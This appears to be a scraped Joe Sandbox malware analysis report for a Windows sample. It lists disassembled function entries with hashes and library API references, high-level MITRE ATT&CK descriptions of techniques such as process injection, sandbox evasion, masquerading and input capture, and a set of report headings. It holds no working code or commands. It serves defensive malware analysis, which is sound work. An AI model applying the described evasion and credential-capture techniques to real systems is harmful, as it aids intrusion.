Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID: [json.exception.
API String ID: 0-791563284
Opcode ID: e6185e3edabc929ff573ce7b01e2272315bfb854afdec083921394c73db801b0
Instruction ID: a0bc33c537cecfcbd1bf70cf354e062e475a14c8582a34eecabbb46a79e8dd0b
Opcode Fuzzy Hash: e6185e3edabc929ff573ce7b01e2272315bfb854afdec083921394c73db801b0
Instruction Fuzzy Hash: 2C9115719002489BEB18CF68D885BEEFBB5EF45304F10465CE814A73C2DB75AA95CBB0

Uniqueness

Uniqueness Score: 100.00%

Function 00D45CAD, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00D45D3D

Strings

pow, xrefs: 00D45D15, 00D45D32

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 3a1ebb6794a02e3fc77323092ba9b09dea6031ef931267f8805a4c5987aa3873
Instruction ID: 2e7dff05a39d73c1e38d8ba4678c19139d1b168d334fb02cf7494d795d506de4
Opcode Fuzzy Hash: 3a1ebb6794a02e3fc77323092ba9b09dea6031ef931267f8805a4c5987aa3873
Instruction Fuzzy Hash: 67517A29E08A0197CF117714D9553696BA0EF40702F2C4D68ECE2862AEEB30CCCD9E72

Uniqueness

Uniqueness Score: 0.11%

Function 00D395DE, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112UNIQUELIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00D39603

Strings

MOC, xrefs: 00D39615
RCC, xrefs: 00D3961D

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f5aa083b73e5f35439aad1bbca8c639b037f2f1c449f61897d9f788b0f2aaac1
Instruction ID: fb60f49807657899b9b2867e118131012444a392574f77d022e34b13ff2d0768
Opcode Fuzzy Hash: f5aa083b73e5f35439aad1bbca8c639b037f2f1c449f61897d9f788b0f2aaac1
Instruction Fuzzy Hash: A1417872900209AFCF16DF98CC92AEEBBB5FF48304F1881A9F904A7261D3759950DF60

Uniqueness

Uniqueness Score: 100.00%

Function 00D12850, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D1287B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D128CA

Part of subcall function 00D35876: _Yarn.LIBCPMT ref: 00D35895
Part of subcall function 00D35876: _Yarn.LIBCPMT ref: 00D358B9

Strings

bad locale name, xrefs: 00D128E6

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 22d6fdd791c90981b1d303ddc7d85292a6fb51751d937c53b846f5b629961a9d
Instruction ID: e9caac9ff5e4ea0564129664dbb1427af1630d9ab13393ac00945e21a5de0ea6
Opcode Fuzzy Hash: 22d6fdd791c90981b1d303ddc7d85292a6fb51751d937c53b846f5b629961a9d
Instruction Fuzzy Hash: 92119E71904B44AFD320CF69D801747BBE4EB19710F008A1EE889C7B80D7B5A508CBB1

Uniqueness

Uniqueness Score: 3.53%

Function 00D2FD86, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52UNIQUE

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00D2FE2A
___std_exception_destroy.LIBVCRUNTIME ref: 00D2FE40

Strings

value, xrefs: 00D2FD88

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: fdb259bb2c90af5c4afbe49b9b1017f0d938742fa677713ce2cefd6ac6db09ef
Instruction ID: df5ffb118dd57dd8bf57cdf1c6eec9cd95cca7bf1fd93921be9d9274153c2357
Opcode Fuzzy Hash: fdb259bb2c90af5c4afbe49b9b1017f0d938742fa677713ce2cefd6ac6db09ef
Instruction Fuzzy Hash: 40214A70C1422CEEDB11EBA0C845BDEBB78AF15308F544099E845B3282EB706B48DFB1

Uniqueness

Uniqueness Score: 100.00%

Function 00D292E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41UNIQUE

Download Yara Rule

APIs

Part of subcall function 00D355C4: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D355D0

___std_exception_copy.LIBVCRUNTIME ref: 00D2930F
___std_exception_copy.LIBVCRUNTIME ref: 00D29336

Strings

invalid string position, xrefs: 00D292E0

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy$std::invalid_argument::invalid_argument
String ID: invalid string position
API String ID: 2082942147-1799206989
Opcode ID: 8c55da7eeb292689d1209a0f610b9b557745d10130b50c46bff5d6ad5b17e473
Instruction ID: 63bd840da52052bbbcc2f10307f563192a2ae40ae17beb3113aa526b7fcef39a
Opcode Fuzzy Hash: 8c55da7eeb292689d1209a0f610b9b557745d10130b50c46bff5d6ad5b17e473
Instruction Fuzzy Hash: 24F0ECB6910719ABC7019FA9D844886F7ECFE563117108726F91597B00F7B0F5688BB1

Uniqueness

Uniqueness Score: 100.00%

Function 00D364F1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22UNIQUE

Download Yara Rule

APIs

Part of subcall function 00D13F80: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,00D36520,?,?,?,00D12074), ref: 00D13F85
Part of subcall function 00D13F80: GetLastError.KERNEL32(?,?,?,00D12074), ref: 00D13F8F

IsDebuggerPresent.KERNEL32(?,?,?,00D12074), ref: 00D36524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00D12074), ref: 00D36533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D3652E

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: d3ca6fe190a3324d8fb9144065ba4e1630b306d73786647c07b5767b804687e0
Instruction ID: 9599cf8aca123d5d977a307951b3c56036b386fd34d490796d044b8b94133d3d
Opcode Fuzzy Hash: d3ca6fe190a3324d8fb9144065ba4e1630b306d73786647c07b5767b804687e0
Instruction Fuzzy Hash: 99E0C9B0200751ABD721AF69E4047467AE4EB14756F0489ADE846C6744FBB4D5888BB1

Uniqueness

Uniqueness Score: 100.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report qtjRj8L3Rw

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

General Information

Signature Similarity

Similar Samples

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Function 00BD11F0, Relevance: 9.5, Strings: 7, Instructions: 734
UNIQUE

Function 00C02B5D, Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Function 00BDEEF0, Relevance: 70.7, APIs: 5, Strings: 35, Instructions: 656
memoryfileUNIQUE

Function 00BE0090, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 228
UNIQUE

Function 00BD9CE0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
synchronizationUNIQUE

Function 00BE5750, Relevance: 2.6, APIs: 2, Instructions: 68
COMMON

Function 00C0C6D1, Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Function 00C06876, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 00C0690D, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 00BD5230, Relevance: 102.8, APIs: 47, Strings: 11, Instructions: 1319
UNIQUECrypto